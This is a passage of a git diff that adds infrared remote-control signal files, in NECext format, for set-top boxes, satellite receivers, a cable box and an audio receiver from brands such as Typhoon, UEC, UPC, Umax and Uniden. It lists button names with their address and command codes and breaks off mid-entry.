KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: CAPTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir new file mode 100644 index 000000000..7c7cfb9df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: CAPTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir b/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir new file mode 100644 index 000000000..668650125 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Pow +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 00 00 00 00 +# +name: FS +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 05 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0D 00 00 00 +# +name: Snap +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 10 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 17 00 00 00 +# +name: AVSrc +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 18 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir new file mode 100644 index 000000000..bdb150609 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 24 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 25 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2A 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2F 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 31 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir new file mode 100644 index 000000000..8d2b700a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 21 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir new file mode 100644 index 000000000..e125b3d7e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: MUSIC/ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir b/assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir new file mode 100644 index 000000000..f4f167f49 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 0E 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 11 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 12 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 13 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 16 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 19 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1B 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1C 00 00 00 +# +name: TV-RADIO +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1D 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1E 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 40 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 41 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 42 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 43 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 44 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 45 00 00 00 +# +name: SCHED +type: parsed +protocol: NECext +address: 02 02 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir b/assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir new file mode 100644 index 000000000..44d3137ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: pro-logic +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 04 00 00 00 +# +name: surround-spsetup +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 06 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 07 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 09 00 00 00 +# +name: KEY_MAX +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0A 00 00 00 +# +name: balance +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0C 00 00 00 +# +name: coaxial2 +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0D 00 00 00 +# +name: night +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 10 00 00 00 +# +name: center_deytime +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 11 00 00 00 +# +name: test +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 13 00 00 00 +# +name: KEY_2ch-out +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 16 00 00 00 +# +name: spk-status +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 17 00 00 00 +# +name: front_deytime +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 19 00 00 00 +# +name: woofer +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1A 00 00 00 +# +name: surround_deytime +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1C 00 00 00 +# +name: optical +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1D 00 00 00 +# +name: standard +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1E 00 00 00 +# +name: coaxial1 +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 1F 00 00 00 +# +name: front_spsetup +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 54 00 00 00 +# +name: center-spsetup +type: parsed +protocol: NECext +address: 00 F0 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir new file mode 100644 index 000000000..ce14f6b1c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: SKEW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: 3-F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: 2-T +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: 1-G +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: WEST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: EAST +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: MESSAGE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: 0-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2C 00 00 00 +# +name: 9-K +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2D 00 00 00 +# +name: 8-R +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2E 00 00 00 +# +name: 7-S +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2F 00 00 00 +# +name: REVIEW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 30 00 00 00 +# +name: TI/BW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 31 00 00 00 +# +name: C/KU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 32 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: 6-C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: 5-W +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: 4-D +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: SAT/TV +type: parsed +protocol: 